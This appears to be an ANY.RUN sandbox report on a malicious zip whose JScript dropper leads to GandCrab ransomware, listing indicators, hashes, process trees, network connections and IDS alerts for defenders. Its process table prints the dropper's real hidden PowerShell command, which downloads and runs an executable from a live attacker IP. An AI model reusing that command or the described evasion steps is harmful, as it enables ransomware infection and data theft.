analyze malware
  • Huge database of samples and IOCs
  • Custom VM setup
  • Unlimited submissions
  • Interactive approach
Sign up, it’s free
File name:

Love_You_2019_25413240-txt.zip

Full analysis: https://app.any.run/tasks/540da4c5-3a0b-4f47-87b2-e34069c519c7
Verdict: Malicious activity
Threats:

GandCrab is probably one of the most famous Ransomware. A Ransomware is a malware that asks the victim to pay money in order to restore access to encrypted files. If the user does not cooperate the files are forever lost.

Malware Trends Tracker     >>>
Analysis date: January 17, 2019, 14:13:50
OS: Windows 7 Professional Service Pack 1 (build: 7601, 32 bit)
Tags:
loader
trojan
ransomware
gandcrab
Indicators:
MIME: application/zip
File info: Zip archive data, at least v1.0 to extract
MD5:

8798BD71DE4FEC3F9B360D8B675DE1E3

SHA1:

FDC7E3E272B86AAF0E6C3A8C78A6C57D0369C6BE

SHA256:

8783B952147FEF067E346DECC7C5C62F40C44572A33CBEC1F390C1E6D4430669

SSDEEP:

192:ms3ch+91j67D7OmOiI7WPoDOirD1v07mU/g2XOjarpT47zbE2P:msMhL7soEhU/Qar+zbE2P

ANY.RUN is an interactive service which provides full access to the guest system. Information in this report could be distorted by user actions and is provided for user acknowledgement as it is. ANY.RUN does not guarantee maliciousness or safety of the content.

  • MALICIOUS

    • Executes PowerShell scripts

      • cmd.exe (PID: 3516)
      • cmd.exe (PID: 3276)

    • Application was dropped or rewritten from another process

      • TempUtN19.exe (PID: 4064)
      • TempUtN19.exe (PID: 3164)
      • winsvcs.exe (PID: 2328)
      • 2793727437.exe (PID: 4052)

    • Disables Windows Defender Real-time monitoring

      • winsvcs.exe (PID: 2328)

    • Disables Windows System Restore

      • winsvcs.exe (PID: 2328)

    • Changes Security Center notification settings

      • winsvcs.exe (PID: 2328)

    • Changes the autorun value in the registry

      • TempUtN19.exe (PID: 4064)

    • Downloads executable files from the Internet

      • powershell.exe (PID: 792)
      • winsvcs.exe (PID: 2328)

    • Downloads executable files from IP

      • powershell.exe (PID: 792)
      • winsvcs.exe (PID: 2328)

    • Actions looks like stealing of personal data

      • 2793727437.exe (PID: 4052)

    • GandCrab keys found

      • 2793727437.exe (PID: 4052)

    • Renames files like Ransomware

      • 2793727437.exe (PID: 4052)

    • Writes file to Word startup folder

      • 2793727437.exe (PID: 4052)

    • Dropped file may contain instructions of ransomware

      • 2793727437.exe (PID: 4052)

    • Deletes shadow copies

      • 2793727437.exe (PID: 4052)

    • Changes settings of System certificates

      • 2793727437.exe (PID: 4052)

  • SUSPICIOUS

    • Executes scripts

      • WinRAR.exe (PID: 2980)

    • Starts CMD.EXE for commands execution

      • WScript.exe (PID: 2444)
      • WScript.exe (PID: 3116)

    • Executable content was dropped or overwritten

      • powershell.exe (PID: 792)
      • TempUtN19.exe (PID: 4064)
      • winsvcs.exe (PID: 2328)
      • 2793727437.exe (PID: 4052)

    • Creates files in the user directory

      • powershell.exe (PID: 792)
      • powershell.exe (PID: 3972)
      • 2793727437.exe (PID: 4052)

    • Starts itself from another location

      • TempUtN19.exe (PID: 4064)

    • Creates files in the program directory

      • 2793727437.exe (PID: 4052)

    • Creates files like Ransomware instruction

      • 2793727437.exe (PID: 4052)

    • Reads the cookies of Mozilla Firefox

      • 2793727437.exe (PID: 4052)

    • Reads Internet Cache Settings

      • 2793727437.exe (PID: 4052)

    • Adds / modifies Windows certificates

      • 2793727437.exe (PID: 4052)

  • INFO

    • Dropped object may contain TOR URL's

      • 2793727437.exe (PID: 4052)
Find more information about signature artifacts and mapping to MITRE ATT&CK™ MATRIX at the full report
No Malware configuration.

TRiD

.zip | ZIP compressed archive (100)

EXIF

ZIP

ZipRequiredVersion: 10
ZipBitFlag: -
ZipCompression: None
ZipModifyDate: 2004:01:17 13:35:10
ZipCRC: 0xf68ef684
ZipCompressedSize: 14320
ZipUncompressedSize: 14320
ZipFileName: Love_You_2019_25413240-txt.js
No data.
screenshotscreenshotscreenshot
All screenshots are available in the full report
All screenshots are available in the full report
Total processes
48
Monitored processes
13
Malicious processes
8
Suspicious processes
1

Behavior graph

Click at the process to see the details
start drop and start drop and start winrar.exe no specs wscript.exe no specs cmd.exe no specs powershell.exe wscript.exe no specs temputn19.exe cmd.exe no specs powershell.exe no specs temputn19.exe no specs winsvcs.exe #GANDCRAB 2793727437.exe wmic.exe vssvc.exe no specs

Process information

PID
CMD
Path
Indicators
Parent process
2980"C:\Program Files\WinRAR\WinRAR.exe" "C:\Users\admin\AppData\Local\Temp\Love_You_2019_25413240-txt.zip"C:\Program Files\WinRAR\WinRAR.exe—explorer.exe
User:
admin
Company:
Alexander Roshal
Integrity Level:
MEDIUM
Description:
WinRAR archiver
Version:
5.60.0
2444"C:\Windows\System32\WScript.exe" "C:\Users\admin\AppData\Local\Temp\Rar$DIa2980.45202\Love_You_2019_25413240-txt.js" C:\Windows\System32\WScript.exe—WinRAR.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Microsoft ® Windows Based Script Host
Exit code:
0
Version:
5.8.7600.16385
3516"C:\Windows\System32\cmd.exe" /c JhCIFWVdRtYpjHOyekbEfrAMvgxaGB & powershell.exe -executionpolicy bypass -noprofile -w hidden $var = New-Object System.Net.WebClient; $var.Headers['User-Agent'] = 'Windows'; $var.downloadfile('http://92.63.197.153/mcdonalds.exe','%temp%UtN19.exe'); & start %temp%UtN19.exeC:\Windows\System32\cmd.exe—WScript.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows Command Processor
Exit code:
0
Version:
6.1.7601.17514 (win7sp1_rtm.101119-1850)
792powershell.exe -executionpolicy bypass -noprofile -w hidden $var = New-Object System.Net.WebClient; $var.Headers['User-Agent'] = 'Windows'; $var.downloadfile('http://92.63.197.153/mcdonalds.exe','C:\Users\admin\AppData\Local\TempUtN19.exe'); C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
cmd.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows PowerShell
Exit code:
0
Version:
6.1.7600.16385 (win7_rtm.090713-1255)
3116"C:\Windows\System32\WScript.exe" "C:\Users\admin\AppData\Local\Temp\Rar$DIa2980.45458\Love_You_2019_25413240-txt.js" C:\Windows\System32\WScript.exe—WinRAR.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Microsoft ® Windows Based Script Host
Exit code:
0
Version:
5.8.7600.16385
4064C:\Users\admin\AppData\Local\TempUtN19.exe C:\Users\admin\AppData\Local\TempUtN19.exe
cmd.exe
User:
admin
Integrity Level:
MEDIUM
Exit code:
0
3276"C:\Windows\System32\cmd.exe" /c JhCIFWVdRtYpjHOyekbEfrAMvgxaGB & powershell.exe -executionpolicy bypass -noprofile -w hidden $var = New-Object System.Net.WebClient; $var.Headers['User-Agent'] = 'Windows'; $var.downloadfile('http://92.63.197.153/mcdonalds.exe','%temp%UtN19.exe'); & start %temp%UtN19.exeC:\Windows\System32\cmd.exe—WScript.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows Command Processor
Exit code:
0
Version:
6.1.7601.17514 (win7sp1_rtm.101119-1850)
3972powershell.exe -executionpolicy bypass -noprofile -w hidden $var = New-Object System.Net.WebClient; $var.Headers['User-Agent'] = 'Windows'; $var.downloadfile('http://92.63.197.153/mcdonalds.exe','C:\Users\admin\AppData\Local\TempUtN19.exe'); C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe—cmd.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows PowerShell
Exit code:
1
Version:
6.1.7600.16385 (win7_rtm.090713-1255)
3164C:\Users\admin\AppData\Local\TempUtN19.exe C:\Users\admin\AppData\Local\TempUtN19.exe—cmd.exe
User:
admin
Integrity Level:
MEDIUM
Exit code:
0
2328C:\Users\admin\66087085470750\winsvcs.exeC:\Users\admin\66087085470750\winsvcs.exe
TempUtN19.exe
User:
admin
Integrity Level:
MEDIUM
Total events
1 274
Read events
1 061
Write events
0
Delete events
0

Modification events

No data
Executable files
5
Suspicious files
426
Text files
321
Unknown types
18

Dropped files

PID
Process
Filename
Type
792powershell.exeC:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\65Y64OV43X38J34ZJDUT.temp —
MD5:—
SHA256:—
3972powershell.exeC:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\0Z4C5Y2ILWJF8TV9SH2C.temp —
MD5:—
SHA256:—
792powershell.exeC:\Users\admin\AppData\Local\TempUtN19.exeexecutable
MD5:0673B159C2F01FADEADC3306F2BB5390
SHA256:5DF55A2D3F688735E0D530A7639DADAC3817D4B3F2972276FB3B046D381A9121
2328winsvcs.exeC:\Users\admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\R9ZEWH8D\1[1].exeexecutable
MD5:E387BD817E9B7F02FA9C2511CC345F12
SHA256:39514226B71AEBBE775AA14627C716973282CBA201532DF3F820A209D87F6DF9
3972powershell.exeC:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-msbinary
MD5:2BCAD5DA21CB41B727ABDE7D6B6990B8
SHA256:AB1397E3A31059329829AE2164787589945B1459ED2E1B7328E86ED497A6F9F3
3972powershell.exeC:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms~RF21054e.TMPbinary
MD5:2BCAD5DA21CB41B727ABDE7D6B6990B8
SHA256:AB1397E3A31059329829AE2164787589945B1459ED2E1B7328E86ED497A6F9F3
40522793727437.exeC:\Recovery\345b46fe-a9f9-11e7-a83c-e8a4f72b1d33\boot.sdi —
MD5:—
SHA256:—
40522793727437.exeC:\$Recycle.Bin\S-1-5-21-1302019708-1500728564-335382590-1000\MFJDSCJE-DECRYPT.txttext
MD5:9E7B5FCA0196C885BCC175532D6DD0F4
SHA256:F0F1632B13DCAE161F8A53983A7E5C84BD9277AF2CD914F7982C38BDDFB59BD5
2980WinRAR.exeC:\Users\admin\AppData\Local\Temp\Rar$DIa2980.45202\Love_You_2019_25413240-txt.jstext
MD5:5779C8A2AA45EF5A13A1A9042B5CC1B5
SHA256:21C3D4EDD18719EF01EED7065E8F4B202E388A7A85A03E2BA97C9146EE5DB2FC
792powershell.exeC:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms~RF21000f.TMPbinary
MD5:2BCAD5DA21CB41B727ABDE7D6B6990B8
SHA256:AB1397E3A31059329829AE2164787589945B1459ED2E1B7328E86ED497A6F9F3
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
HTTP(S) requests
20
TCP/UDP connections
5
DNS requests
1
Threats
0

HTTP requests

PID
Process
Method
HTTP Code
IP
URL
CN
Type
Size
Reputation
2328
winsvcs.exe
GET
—
92.63.197.153:80
http://92.63.197.153/s/1.exe
RU
—
—
malicious
2328
winsvcs.exe
GET
200
92.63.197.153:80
http://92.63.197.153/s/1.exe
RU
executable
361 Kb
malicious
792
powershell.exe
GET
200
92.63.197.153:80
http://92.63.197.153/mcdonalds.exe
RU
executable
278 Kb
malicious
2328
winsvcs.exe
GET
404
92.63.197.153:80
http://92.63.197.153/s/4.exe
RU
html
178 b
malicious
2328
winsvcs.exe
GET
404
92.63.197.153:80
http://92.63.197.153/s/3.exe
RU
html
178 b
malicious
2328
winsvcs.exe
GET
404
92.63.197.153:80
http://92.63.197.153/s/4.exe
RU
html
178 b
malicious
2328
winsvcs.exe
GET
404
92.63.197.153:80
http://92.63.197.153/s/5.exe
RU
html
178 b
malicious
2328
winsvcs.exe
GET
404
92.63.197.153:80
http://92.63.197.153/s/3.exe
RU
html
178 b
malicious
2328
winsvcs.exe
GET
404
92.63.197.153:80
http://92.63.197.153/s/2.exe
RU
html
178 b
malicious
2328
winsvcs.exe
GET
404
92.63.197.153:80
http://92.63.197.153/s/3.exe
RU
html
178 b
malicious
Download PCAP, analyze network streams, HTTP content and a lot more at the full report

Connections

PID
Process
IP
Domain
ASN
CN
Reputation
2328
winsvcs.exe
92.63.197.153:80
—
—
RU
malicious
792
powershell.exe
92.63.197.153:80
—
—
RU
malicious
4052
2793727437.exe
138.201.162.99:443
www.kakaocorp.link
Hetzner Online GmbH
DE
malicious
4052
2793727437.exe
138.201.162.99:80
www.kakaocorp.link
Hetzner Online GmbH
DE
malicious

DNS requests

Domain
IP
Reputation
www.kakaocorp.link
  • 138.201.162.99
malicious

Threats

PID
Process
Class
Message
792
powershell.exe
A Network Trojan was detected
ET INFO Executable Download from dotted-quad Host
792
powershell.exe
Potential Corporate Privacy Violation
ET POLICY PE EXE or DLL Windows file download HTTP
792
powershell.exe
Potentially Bad Traffic
ET INFO SUSPICIOUS Dotted Quad Host MZ Response
792
powershell.exe
Misc activity
ET INFO EXE IsDebuggerPresent (Used in Malware Anti-Debugging)
2328
winsvcs.exe
A Network Trojan was detected
ET INFO Executable Download from dotted-quad Host
2328
winsvcs.exe
A Network Trojan was detected
ET TROJAN Single char EXE direct download likely trojan (multiple families)
2328
winsvcs.exe
A Network Trojan was detected
ET INFO Executable Download from dotted-quad Host
2328
winsvcs.exe
A Network Trojan was detected
ET TROJAN Single char EXE direct download likely trojan (multiple families)
2328
winsvcs.exe
Potential Corporate Privacy Violation
ET POLICY PE EXE or DLL Windows file download HTTP
2328
winsvcs.exe
Potentially Bad Traffic
ET INFO SUSPICIOUS Dotted Quad Host MZ Response
No debug info
Interactive malware hunting service ANY.RUN
© 2017-2024 ANY.RUN LLC. ALL RIGHTS RESERVED
ANY.RUN
Reports
Love_You_2019_25413240-txt.zip